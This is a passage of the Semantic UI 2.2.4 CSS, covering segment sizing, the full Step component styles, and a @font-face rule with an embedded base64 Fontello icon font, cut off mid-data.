  margin: 0em -1px;
  width: calc(100% +  2px );
  max-width: calc(100% +  2px );
  box-shadow: none;
  border: 1px solid #D4D4D5;
}

.ui.attached:not(.message) + .ui.attached.segment:not(.top) {
  border-top: none;
}

/* Top */

.ui[class*="top attached"].segment {
  bottom: 0px;
  margin-bottom: 0em;
  top: 0px;
  margin-top: 1rem;
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

.ui.segment[class*="top attached"]:first-child {
  margin-top: 0em;
}

/* Bottom */

.ui.segment[class*="bottom attached"] {
  bottom: 0px;
  margin-top: 0em;
  top: 0px;
  margin-bottom: 1rem;
  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15), none;
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
}

.ui.segment[class*="bottom attached"]:last-child {
  margin-bottom: 0em;
}

/*-------------------
        Size
--------------------*/

.ui.mini.segments .segment,
.ui.mini.segment {
  font-size: 0.78571429rem;
}

.ui.tiny.segments .segment,
.ui.tiny.segment {
  font-size: 0.85714286rem;
}

.ui.small.segments .segment,
.ui.small.segment {
  font-size: 0.92857143rem;
}

.ui.segments .segment,
.ui.segment {
  font-size: 1rem;
}

.ui.large.segments .segment,
.ui.large.segment {
  font-size: 1.14285714rem;
}

.ui.big.segments .segment,
.ui.big.segment {
  font-size: 1.28571429rem;
}

.ui.huge.segments .segment,
.ui.huge.segment {
  font-size: 1.42857143rem;
}

.ui.massive.segments .segment,
.ui.massive.segment {
  font-size: 1.71428571rem;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Step
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Plural
*******************************/

.ui.steps {
  display: -webkit-inline-box;
  display: -webkit-inline-flex;
  display: -ms-inline-flexbox;
  display: inline-flex;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
  -webkit-flex-direction: row;
  -ms-flex-direction: row;
  flex-direction: row;
  -webkit-box-align: stretch;
  -webkit-align-items: stretch;
  -ms-flex-align: stretch;
  align-items: stretch;
  margin: 1em 0em;
  background: '';
  box-shadow: none;
  line-height: 1.14285714em;
  border-radius: 0.28571429rem;
  border: 1px solid rgba(34, 36, 38, 0.15);
}

/* First Steps */

.ui.steps:first-child {
  margin-top: 0em;
}

/* Last Steps */

.ui.steps:last-child {
  margin-bottom: 0em;
}

/*******************************
           Singular
*******************************/

.ui.steps .step {
  position: relative;
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-flex: 1;
  -webkit-flex: 1 0 auto;
  -ms-flex: 1 0 auto;
  flex: 1 0 auto;
  -webkit-flex-wrap: wrap;
  -ms-flex-wrap: wrap;
  flex-wrap: wrap;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
  -webkit-flex-direction: row;
  -ms-flex-direction: row;
  flex-direction: row;
  vertical-align: middle;
  -webkit-box-align: center;
  -webkit-align-items: center;
  -ms-flex-align: center;
  align-items: center;
  -webkit-box-pack: center;
  -webkit-justify-content: center;
  -ms-flex-pack: center;
  justify-content: center;
  margin: 0em 0em;
  padding: 1.14285714em 2em;
  background: #FFFFFF;
  color: rgba(0, 0, 0, 0.87);
  box-shadow: none;
  border-radius: 0em;
  border: none;
  border-right: 1px solid rgba(34, 36, 38, 0.15);
  -webkit-transition: background-color 0.1s ease, opacity 0.1s ease, color 0.1s ease, box-shadow 0.1s ease;
  transition: background-color 0.1s ease, opacity 0.1s ease, color 0.1s ease, box-shadow 0.1s ease;
}

/* Arrow */

.ui.steps .step:after {
  display: none;
  position: absolute;
  z-index: 2;
  content: '';
  top: 50%;
  right: 0%;
  border: medium none;
  background-color: #FFFFFF;
  width: 1.14285714em;
  height: 1.14285714em;
  border-style: solid;
  border-color: rgba(34, 36, 38, 0.15);
  border-width: 0px 1px 1px 0px;
  -webkit-transition: background-color 0.1s ease, opacity 0.1s ease, color 0.1s ease, box-shadow 0.1s ease;
  transition: background-color 0.1s ease, opacity 0.1s ease, color 0.1s ease, box-shadow 0.1s ease;
  -webkit-transform: translateY(-50%) translateX(50%) rotate(-45deg);
  -ms-transform: translateY(-50%) translateX(50%) rotate(-45deg);
  transform: translateY(-50%) translateX(50%) rotate(-45deg);
}

/* First Step */

.ui.steps .step:first-child {
  padding-left: 2em;
  border-radius: 0.28571429rem 0em 0em 0.28571429rem;
}

/* Last Step */

.ui.steps .step:last-child {
  border-radius: 0em 0.28571429rem 0.28571429rem 0em;
}

.ui.steps .step:last-child {
  border-right: none;
  margin-right: 0em;
}

/* Only Step */

.ui.steps .step:only-child {
  border-radius: 0.28571429rem;
}

/*******************************
            Content
*******************************/

/* Title */

.ui.steps .step .title {
  
  font-size: 1.14285714em;
  font-weight: bold;
}

.ui.steps .step > .title {
  width: 100%;
}

/* Description */

.ui.steps .step .description {
  font-weight: normal;
  font-size: 0.92857143em;
  color: rgba(0, 0, 0, 0.87);
}

.ui.steps .step > .description {
  width: 100%;
}

.ui.steps .step .title ~ .description {
  margin-top: 0.25em;
}

/* Icon */

.ui.steps .step > .icon {
  line-height: 1;
  font-size: 2.5em;
  margin: 0em 1rem 0em 0em;
}

.ui.steps .step > .icon,
.ui.steps .step > .icon ~ .content {
  display: block;
  -webkit-box-flex: 0;
  -webkit-flex: 0 1 auto;
  -ms-flex: 0 1 auto;
  flex: 0 1 auto;
  -webkit-align-self: middle;
  -ms-flex-item-align: middle;
  align-self: middle;
}

.ui.steps .step > .icon ~ .content {
  -webkit-box-flex: 1 0 auto;
  -webkit-flex-grow: 1 0 auto;
  -ms-flex-positive: 1 0 auto;
  flex-grow: 1 0 auto;
}

/* Horizontal Icon */

.ui.steps:not(.vertical) .step > .icon {
  width: auto;
}

/* Link */

.ui.steps .link.step,
.ui.steps a.step {
  cursor: pointer;
}

/*******************************
            Types
*******************************/

/*--------------
     Ordered
---------------*/

.ui.ordered.steps {
  counter-reset: ordered;
}

.ui.ordered.steps .step:before {
  display: block;
  position: static;
  text-align: center;
  content: counters(ordered, ".");
  -webkit-align-self: middle;
  -ms-flex-item-align: middle;
  align-self: middle;
  margin-right: 1rem;
  font-size: 2.5em;
  counter-increment: ordered;
  font-family: inherit;
  font-weight: bold;
}

.ui.ordered.steps .step > * {
  display: block;
  -webkit-align-self: middle;
  -ms-flex-item-align: middle;
  align-self: middle;
}

/*--------------
    Vertical
---------------*/

.ui.vertical.steps {
  display: -webkit-inline-box;
  display: -webkit-inline-flex;
  display: -ms-inline-flexbox;
  display: inline-flex;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -webkit-flex-direction: column;
  -ms-flex-direction: column;
  flex-direction: column;
  overflow: visible;
}

.ui.vertical.steps .step {
  -webkit-box-pack: start;
  -webkit-justify-content: flex-start;
  -ms-flex-pack: start;
  justify-content: flex-start;
  border-radius: 0em;
  padding: 1.14285714em 2em;
  border-right: none;
  border-bottom: 1px solid rgba(34, 36, 38, 0.15);
}

.ui.vertical.steps .step:first-child {
  padding: 1.14285714em 2em;
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

.ui.vertical.steps .step:last-child {
  border-bottom: none;
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
}

.ui.vertical.steps .step:only-child {
  border-radius: 0.28571429rem;
}

/* Arrow */

.ui.vertical.steps .step:after {
  display: none;
}

.ui.vertical.steps .step:after {
  top: 50%;
  right: 0%;
  border-width: 0px 1px 1px 0px;
}

.ui.vertical.steps .step:after {
  display: none;
}

.ui.vertical.steps .active.step:after {
  display: block;
}

.ui.vertical.steps .step:last-child:after {
  display: none;
}

.ui.vertical.steps .active.step:last-child:after {
  display: block;
}

/*---------------
    Responsive
----------------*/

/* Mobile (Default) */

@media only screen and (max-width: 767px) {
  .ui.steps {
    display: -webkit-inline-box;
    display: -webkit-inline-flex;
    display: -ms-inline-flexbox;
    display: inline-flex;
    overflow: visible;
    -webkit-box-orient: vertical;
    -webkit-box-direction: normal;
    -webkit-flex-direction: column;
    -ms-flex-direction: column;
    flex-direction: column;
  }

  .ui.steps .step {
    width: 100% !important;
    -webkit-box-orient: vertical;
    -webkit-box-direction: normal;
    -webkit-flex-direction: column;
    -ms-flex-direction: column;
    flex-direction: column;
    border-radius: 0em;
    padding: 1.14285714em 2em;
  }

  .ui.steps .step:first-child {
    padding: 1.14285714em 2em;
    border-radius: 0.28571429rem 0.28571429rem 0em 0em;
  }

  .ui.steps .step:last-child {
    border-radius: 0em 0em 0.28571429rem 0.28571429rem;
  }

  /* Arrow */

  .ui.steps .step:after {
    display: none !important;
  }

  /* Content */

  .ui.steps .step .content {
    text-align: center;
  }

  /* Icon */

  .ui.steps .step > .icon,
  .ui.ordered.steps .step:before {
    margin: 0em 0em 1rem 0em;
  }
}

/*******************************
             States
*******************************/

/* Link Hover */

.ui.steps .link.step:hover::after,
.ui.steps .link.step:hover,
.ui.steps a.step:hover::after,
.ui.steps a.step:hover {
  background: #F9FAFB;
  color: rgba(0, 0, 0, 0.8);
}

/* Link Down */

.ui.steps .link.step:active::after,
.ui.steps .link.step:active,
.ui.steps a.step:active::after,
.ui.steps a.step:active {
  background: #F3F4F5;
  color: rgba(0, 0, 0, 0.9);
}

/* Active */

.ui.steps .step.active {
  cursor: auto;
  background: #F3F4F5;
}

.ui.steps .step.active:after {
  background: #F3F4F5;
}

.ui.steps .step.active .title {
  color: #4183C4;
}

.ui.ordered.steps .step.active:before,
.ui.steps .active.step .icon {
  color: rgba(0, 0, 0, 0.85);
}

/* Active Arrow */

.ui.steps .step:after {
  display: block;
}

.ui.steps .active.step:after {
  display: block;
}

.ui.steps .step:last-child:after {
  display: none;
}

.ui.steps .active.step:last-child:after {
  display: none;
}

/* Active Hover */

.ui.steps .link.active.step:hover::after,
.ui.steps .link.active.step:hover,
.ui.steps a.active.step:hover::after,
.ui.steps a.active.step:hover {
  cursor: pointer;
  background: #DCDDDE;
  color: rgba(0, 0, 0, 0.87);
}

/* Completed */

.ui.steps .step.completed > .icon:before,
.ui.ordered.steps .step.completed:before {
  color: #21BA45;
}

/* Disabled */

.ui.steps .disabled.step {
  cursor: auto;
  background: #FFFFFF;
  pointer-events: none;
}

.ui.steps .disabled.step,
.ui.steps .disabled.step .title,
.ui.steps .disabled.step .description {
  color: rgba(40, 40, 40, 0.3);
}

.ui.steps .disabled.step:after {
  background: #FFFFFF;
}

/*******************************
           Variations
*******************************/

/*--------------
   Stackable
---------------*/

/* Tablet Or Below */

@media only screen and (max-width: 991px) {
  .ui[class*="tablet stackable"].steps {
    display: -webkit-inline-box;
    display: -webkit-inline-flex;
    display: -ms-inline-flexbox;
    display: inline-flex;
    overflow: visible;
    -webkit-box-orient: vertical;
    -webkit-box-direction: normal;
    -webkit-flex-direction: column;
    -ms-flex-direction: column;
    flex-direction: column;
  }

  /* Steps */

  .ui[class*="tablet stackable"].steps .step {
    -webkit-box-orient: vertical;
    -webkit-box-direction: normal;
    -webkit-flex-direction: column;
    -ms-flex-direction: column;
    flex-direction: column;
    border-radius: 0em;
    padding: 1.14285714em 2em;
  }

  .ui[class*="tablet stackable"].steps .step:first-child {
    padding: 1.14285714em 2em;
    border-radius: 0.28571429rem 0.28571429rem 0em 0em;
  }

  .ui[class*="tablet stackable"].steps .step:last-child {
    border-radius: 0em 0em 0.28571429rem 0.28571429rem;
  }

  /* Arrow */

  .ui[class*="tablet stackable"].steps .step:after {
    display: none !important;
  }

  /* Content */

  .ui[class*="tablet stackable"].steps .step .content {
    text-align: center;
  }

  /* Icon */

  .ui[class*="tablet stackable"].steps .step > .icon,
  .ui[class*="tablet stackable"].ordered.steps .step:before {
    margin: 0em 0em 1rem 0em;
  }
}

/*--------------
      Fluid
---------------*/

/* Fluid */

.ui.fluid.steps {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  width: 100%;
}

/*--------------
    Attached
---------------*/

/* Top */

.ui.attached.steps {
  width: calc(100% +  2px ) !important;
  margin: 0em -1px 0;
  max-width: calc(100% +  2px );
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

.ui.attached.steps .step:first-child {
  border-radius: 0.28571429rem 0em 0em 0em;
}

.ui.attached.steps .step:last-child {
  border-radius: 0em 0.28571429rem 0em 0em;
}

/* Bottom */

.ui.bottom.attached.steps {
  margin: 0 -1px 0em;
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
}

.ui.bottom.attached.steps .step:first-child {
  border-radius: 0em 0em 0em 0.28571429rem;
}

.ui.bottom.attached.steps .step:last-child {
  border-radius: 0em 0em 0.28571429rem 0em;
}

/*-------------------
    Evenly Divided
--------------------*/

.ui.one.steps,
.ui.two.steps,
.ui.three.steps,
.ui.four.steps,
.ui.five.steps,
.ui.six.steps,
.ui.seven.steps,
.ui.eight.steps {
  width: 100%;
}

.ui.one.steps > .step,
.ui.two.steps > .step,
.ui.three.steps > .step,
.ui.four.steps > .step,
.ui.five.steps > .step,
.ui.six.steps > .step,
.ui.seven.steps > .step,
.ui.eight.steps > .step {
  -webkit-flex-wrap: nowrap;
  -ms-flex-wrap: nowrap;
  flex-wrap: nowrap;
}

.ui.one.steps > .step {
  width: 100%;
}

.ui.two.steps > .step {
  width: 50%;
}

.ui.three.steps > .step {
  width: 33.333%;
}

.ui.four.steps > .step {
  width: 25%;
}

.ui.five.steps > .step {
  width: 20%;
}

.ui.six.steps > .step {
  width: 16.666%;
}

.ui.seven.steps > .step {
  width: 14.285%;
}

.ui.eight.steps > .step {
  width: 12.500%;
}

/*-------------------
       Sizes
--------------------*/

.ui.mini.steps .step,
.ui.mini.step {
  font-size: 0.78571429rem;
}

.ui.tiny.steps .step,
.ui.tiny.step {
  font-size: 0.85714286rem;
}

.ui.small.steps .step,
.ui.small.step {
  font-size: 0.92857143rem;
}

.ui.steps .step,
.ui.step {
  font-size: 1rem;
}

.ui.large.steps .step,
.ui.large.step {
  font-size: 1.14285714rem;
}

.ui.big.steps .step,
.ui.big.step {
  font-size: 1.28571429rem;
}

.ui.huge.steps .step,
.ui.huge.step {
  font-size: 1.42857143rem;
}

.ui.massive.steps .step,
.ui.massive.step {
  font-size: 1.71428571rem;
}

/*******************************
         Theme Overrides
*******************************/

@font-face {
  font-family: 'Step';
  src: url(data:application/x-font-ttf;charset=utf-8;;base64,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) format('truetype'), url(data:application/font-woff;charset=utf-8;base64,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